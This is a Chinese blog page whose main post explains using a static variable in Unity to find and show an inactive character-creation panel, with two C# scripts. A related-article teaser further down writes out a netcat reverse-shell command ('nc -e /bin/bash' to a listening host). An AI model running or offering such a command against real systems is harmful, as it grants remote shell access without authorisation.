当前位置: 首页 > news >正文

unity学习(39)——创建(create)角色脚本(panel)——静态(static)

1.发现一个非常实用的功能,点击unity中console的输出项,可以直接跳转到vs的代码页!

2.static类(变量)有三个特点:

(1)独一份(2)无法实例化。(3)全局。类似于c语言中的全局变量。

3.应用:因为create的panel在初始化时是false的,无法通过select脚本来find,这个问题之前出过。这次在create初始化时,直接用static变量来记录panel的指针。再在create点击“创建角色”按钮时将其弹出

create部分的代码如下:

using System.Collections;
using System.Collections.Generic;
using TMPro;
using UnityEngine;public class CreatePlayerPanel : MonoBehaviour
{//TMP_Text a = GameObject.FindWithTag("username").GetComponent<TMP_Text>();--不能写这里public static GameObject panel;//这是个全局变量--实例类private int job;//当前所选角色// Start is called before the first frame updatevoid Start(){Debug.Log("CreatePlayerPanel获取object测试--这个在游戏加载的时候就执行了,最最最开始大的时候");panel = GameObject.FindWithTag("createPanel");//同一命名空间即可,canvas在最外边是有道理的panel.SetActive(false);}// Update is called once per framevoid Update(){}public void finish(){panel.SetActive(false);//点击}public void selectJob(int job)//职业-我就纳闷昵称在哪里{//选择职业}
}

select部分的代码如下:

using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;public class SelectMenu : MonoBehaviour
{// Start is called before the first frame update//public GameObject c = GameObject.FindWithTag("selectMenuCanvas");public GameObject quan;//start中就保存好了public int flag = 0;void Start(){//gameObject.SetActive(false);//GameObject m = GameObject.FindWithTag("selectMenuCanvas");//现在我挂在camera上就可以这么用了this.quan = GameObject.FindWithTag("selectMenuCanvas");//同一命名空间即可,canvas在最外边是有道理的this.quan.SetActive(false);//gameObject.GetComponent<Renderer>.enabled = false;}// Update is called once per framevoid Update()//角色的选择和创建我做在一起就可以了{//Debug.Log(GameInfo.GAME_STATE);//初始状态开始为0//Debug.Log(GameState.PLAYER_CREATE); //这个是4if (GameInfo.GAME_STATE == GameState.PLAYER_CREATE && this.flag == 0){//Debug.Log(GameInfo.GAME_STATE);//初始状态开始为0//Debug.Log(GameState.PLAYER_CREATE);this.flag = 1;Debug.Log("这里计划是只执行一次");this.quan.SetActive(true);}}public void GoToCreate()//unity那边想要加载必须public{Debug.Log("我确实进入onclick函数了");//这种藏起来的找不着!第二次犯这个错误了//下面这两句再次说明了之前false的找不到//GameObject panel = GameObject.FindWithTag("createPanel");//同一命名空间即可,canvas在最外边是有道理的//panel.SetActive(true);Debug.Log(CreatePlayerPanel.panel);CreatePlayerPanel.panel.SetActive(true);//用的static实例类--这个卡住了Debug.Log("给我弹出创造页面");}
}

这东西难在对static的理解和应用。

相关文章:

unity学习(39)——创建(create)角色脚本(panel)——静态(static)

1.发现一个非常实用的功能&#xff0c;点击unity中console的输出项&#xff0c;可以直接跳转到vs的代码页&#xff01; 2.static类&#xff08;变量&#xff09;有三个特点&#xff1a; &#xff08;1&#xff09;独一份&#xff08;2&#xff09;无法实例化。&#xff08;3&…...

MacOS环境下用powerline配置Terminal终端

Powerline 简介及安装配置 Powerline 是一个 stateless 状态栏&#xff0c;也就是一个全局状态/提示栏。你可以将其配置到你的 bash、Terminal、iTerm2 或 VIM 中&#xff0c;效果会如下所示&#xff1a; 你的 Mac 终端提示栏将会呈现如下图所示&#xff1a; 你的 VIM 状态…...

liunx单机项目部署

文章目录 1.liunx简介2.liunx的jdk安装2.liunx的tomcat安装3.liunx的mysql安装4.单机项目部署 1.liunx简介 Linux&#xff0c;一般指GNU/Linux&#xff08;单独的Linux内核并不可直接使用&#xff0c;一般搭配GNU套件&#xff0c;故得此称呼&#xff09;&#xff0c;是一种免费…...

SQL 中如何实现多表关联查询?

阅读本文之前请参阅----MySQL 数据库安装教程详解&#xff08;linux系统和windows系统&#xff09; 在SQL中&#xff0c;多表关联查询是通过使用JOIN操作来实现的&#xff0c;它允许你从两个或多个表中根据相关列的值来检索数据。以下是几种常见的JOIN类型&#xff1a; …...

oracle 设置权限 禁止删除用户

在Oracle中&#xff0c;可以通过修改系统角色来控制用户的操作权限。要禁止删除用户&#xff0c;需要将DROP USER这个特定的系统权限从相应的角色中移除。 下面是一种常见的方法&#xff0c;使用SQL语句进行操作&#xff1a; -- 创建新的角色&#xff0c;并为其分配所有必要的…...

港科夜闻|香港科大计划建立北部都会区卫星校园完善科大创新带,发展未来创新科技 未来医药发展及跨学科教育...

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大计划建立北部都会区卫星校园完善“科大创新带”&#xff0c;发展未来创新科技、未来医药发展及跨学科教育。香港科大校长叶玉如教授在2月22日的媒体会议上表示&#xff0c;香港科大将在北部都会区建立卫星校园&a…...

linux反弹shell简单使用

一、反弹shell&#xff08;NC正向反弹&#xff09; 1、靶机开启监听端口 格式&#xff1a; nc -lvvp [任意未占用的端口号] 例&#xff1a; nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式&#xff1a; nc -e /bin/bash [靶机ip] [靶机监听端口] 例&#xff1a; nc -e /bin…...

前后端分离Vue+nodejs校园论坛bbs系统x450z

开发语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode本论文拟采用计算机技术设计并开发的论坛bbs系统&#xff0c;主要是为用户提供服务。使得用户可以在系统上查看帖子信息、签到积分等…...

ChatGPT的能力边界在哪?

ChatGPT在今天被热炒&#xff0c;主要的原因不是因为它能和人聊天&#xff0c;或者能帮助人做作业。其实做作业这件事它做得并不好&#xff0c;虽然有些中学和大学的问题它能够解决&#xff0c;但是对于绝大部分问题&#xff0c;它给出的答案都是车轱辘话。 那ChatGPT被热炒的…...

Sentinel微服务流量治理组件实战下

目录 Sentinel控制台介绍 实时监控 簇点链路 流控规则 限流阈值类型 流控模式 流控效果 熔断降级规则 熔断策略之慢调用比例 熔断策略之异常比例 熔断策略之异常数 热点规则 系统规则——系统自适应保护 系统规则阈值类型 授权控制规则——来源访问控制&#xf…...

vue+node.js美食分享推荐管理系统 io551

&#xff0c;本系统采用了 MySQL数据库的架构&#xff0c;在开始这项工作前&#xff0c;首先要设计好要用到的数据库表。该系统的使用者有二类&#xff1a;管理员和用户&#xff0c;主要功能包括个人信息修改&#xff0c;用户、美食类型、美食信息、订单信息、美食分享、课程大…...

云原生超融合八大核心能力|ZStack Edge云原生超融合产品技术解读

企业数字化转型的焦点正在发生变化&#xff0c;云基础设施由资源到应用&#xff0c;数据中心从核心到边缘。面向云原生趋势&#xff0c;围绕应用升级&#xff0c;新一代超融合产品——云原生超融合应运而生。 ZStackEdge云原生超融合是基于云原生架构研发的新一代IT基础设施 …...

认识K8S

K8S K8S 的全称为 Kubernetes (K12345678S) 是一个跨主机容器编排工具 作用 用于自动部署、扩展和管理“容器化&#xff08;containerized&#xff09;应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序&#xff08;比如 Docker&#xff09;的集群…...

K8S-001-Virtual box - Network Config

A. 配置两个IP&#xff0c; 一个连接内网&#xff0c;一个链接外网: 1. 内网配置(Host only&#xff0c; 不同的 virutal box 的版本可以不一样&#xff0c;这些窗口可能在不同的地方&#xff0c;但是配置的内容是一样的): 静态IP 动态IP 2. 外网&#xff08;创建一个 Networ…...

ShardingSphere5.x 分库分表

一、shardingSphere介绍 1、官网&#xff1a;Apache ShardingSphere 2、开发文档&#xff1a; 概览 :: ShardingSphere 3、shardingsphere-jdbc ShardingSphere-JDBC 定位为轻量级 Java 框架&#xff0c;在 Java 的 JDBC 层提供的额外服务。 它使用客户端直连数据库&#x…...

cmake 项目。qt5升级 qt6 报错 error: “Qt requires a C++17 compiler 已解决

日常项目开发中。需要对qt5升级到qt6 做cmake兼容配置&#xff0c;在编译中发现&#xff0c;有c 编译环境 报错 2>C:\Qt\6.5.3\msvc2019_64\include\QtCore/qcompilerdetection.h(1226,1): fatal error C1189: #error: "Qt requires a C17 compiler, and a suitable …...

Flutter Engine 编译

本地环境 Flutter 开发基本环境配置&#xff0c;SDK【】 MAC. M2芯片 git工具 python环境[MAC自带] xcode Chromium depot_tools depot_tools 是调试 Flutter 引擎的必备工具包&#xff0c;包含了 gclient、gn 和 ninja 等工具&#xff0c;这些在下面会用到&#xff01;…...

数据可视化在商业领域有哪些重要性?

数据可视化在商业领域的重要性体现在多个方面&#xff0c;它通过将复杂的数据集转化为直观、易于理解的图形和图表&#xff0c;帮助企业和组织做出更明智的决策。以下是数据可视化对商业的一些关键重要性&#xff1a; 提高决策效率&#xff1a;通过直观的图表和图形&#xff0c…...

UI风格汇:扁平化风格来龙去脉,特征与未来趋势

Hello&#xff0c;我是大千UI工场&#xff0c;设计风格是我们新开辟的栏目&#xff0c;主要讲解各类UI风格特征、辨识方法、应用场景、运用方法等&#xff0c;本次带来的扁平化风格的解读&#xff0c;有设计需求&#xff0c;我们也可以接单。 一、什么是扁平化风格 扁平化风格…...

【雷达指标】MTI/MTD性能

目录 一、MTI/MTD性能的指标描述1.1 杂波衰减和对消比1.2 改善因子1.3 杂波中的可见度 二、MATLAB仿真参考文献 雷达通常使用MTI/MTD来进行杂波抑制&#xff0c;采用杂波衰减、对消比、改善因子、杂波中的可见度来描述其性能。 一、MTI/MTD性能的指标描述 1.1 杂波衰减和对消比…...

OAuth 2.0 and OIDC 三大安全机制对比:State vs Nonce vs PKCE

一、问题背景 OAuth 2.0 和 OpenID Connect 的授权流程依赖浏览器重定向&#xff0c;这天然暴露了多种攻击面&#xff1a; 攻击类型描述CSRF攻击者诱导用户的浏览器携带恶意授权码完成绑定Token 重放窃取的 id_token 被重复提交给客户端授权码劫持恶意应用在同一设备上拦截授…...

保姆级教程:在Ubuntu 20.04上从源码编译aarch64-linux-gnu交叉工具链(GCC 9.2.0 + Glibc 2.30)

深度实践&#xff1a;从源码构建aarch64-linux-gnu交叉工具链全指南 在嵌入式开发领域&#xff0c;交叉编译工具链的构建能力是区分普通开发者与资深工程师的重要标志。当现成的预编译工具链无法满足特定需求时&#xff0c;从源码手动构建工具链不仅能解决兼容性问题&#xff0…...

3分钟高效恢复Windows 11 LTSC微软商店:完整解决方案指南

3分钟高效恢复Windows 11 LTSC微软商店&#xff1a;完整解决方案指南 【免费下载链接】LTSC-Add-MicrosoftStore Add Windows Store to Windows 11 24H2 LTSC 项目地址: https://gitcode.com/gh_mirrors/ltscad/LTSC-Add-MicrosoftStore 你是否在使用Windows 11 24H2 LT…...

如何快速免费管理游戏DLSS版本?DLSS Swapper终极指南

如何快速免费管理游戏DLSS版本&#xff1f;DLSS Swapper终极指南 【免费下载链接】dlss-swapper 项目地址: https://gitcode.com/GitHub_Trending/dl/dlss-swapper DLSS Swapper是一款革命性的开源工具&#xff0c;专为PC游戏玩家设计&#xff0c;能够智能管理、下载和…...

告别黑盒:5分钟为你的自定义CNN模型集成Grad-CAM可视化(附常见错误排查)

告别黑盒&#xff1a;5分钟为你的自定义CNN模型集成Grad-CAM可视化&#xff08;附常见错误排查&#xff09; 在深度学习项目中&#xff0c;我们常常陷入一个尴尬境地&#xff1a;模型准确率很高&#xff0c;但完全不知道它究竟"看"了图像的哪些部分做出决策。这种黑盒…...

私有化部署智能助手:基于开源项目smarty-gpt的本地化AI对话平台搭建指南

1. 项目概述&#xff1a;当智能助手遇上本地化部署最近在折腾一个挺有意思的开源项目&#xff0c;叫citiususc/smarty-gpt。乍一看名字&#xff0c;你可能觉得这又是一个基于GPT的聊天机器人&#xff0c;没什么新意。但如果你深入了解一下&#xff0c;就会发现它的定位非常独特…...

005 DevEco Studio OHPM同步404报错 解决文档

[cs]005 DevEco Studio OHPM同步404报错 解决文档 文档简介 本文解决鸿蒙开发中新建空白项目自动触发ohpm install时报错&#xff1a;ohos/hypium、ohos/hamock包404找不到、拉取依赖失败问题。 核心原则&#xff1a;不修改项目任何自带文件、不删除系统生成依赖、不改动业务代…...

基于LanceDB的AI记忆管理系统:从向量存储到智能记忆引擎

1. 项目概述&#xff1a;一个面向AI记忆管理的向量数据库解决方案最近在折腾AI应用&#xff0c;特别是那些需要长期记忆和上下文关联的智能体&#xff08;Agent&#xff09;时&#xff0c;我发现一个核心痛点&#xff1a;如何高效、低成本地存储和检索海量的对话历史、知识片段…...

体育科学论文降AI工具免费推荐:2026年体育科学研究毕业论文知网AIGC超标4.8元亲测达标完整指南

体育科学论文降AI工具免费推荐&#xff1a;2026年体育科学研究毕业论文知网AIGC超标4.8元亲测达标完整指南 帮同学选过降AI工具&#xff0c;综合价格、效果、保障来看&#xff0c;推荐嘎嘎降AI&#xff08;www.aigcleaner.com&#xff09;。 4.8元&#xff0c;达标率99.26%&a…...

ubantu安装vscode

在火狐浏览器中搜索vscode官网&#xff0c;找到.deb文件下载&#xff0c;下载完成后文件所在的位置为 主文件夹/下载 文件夹内。...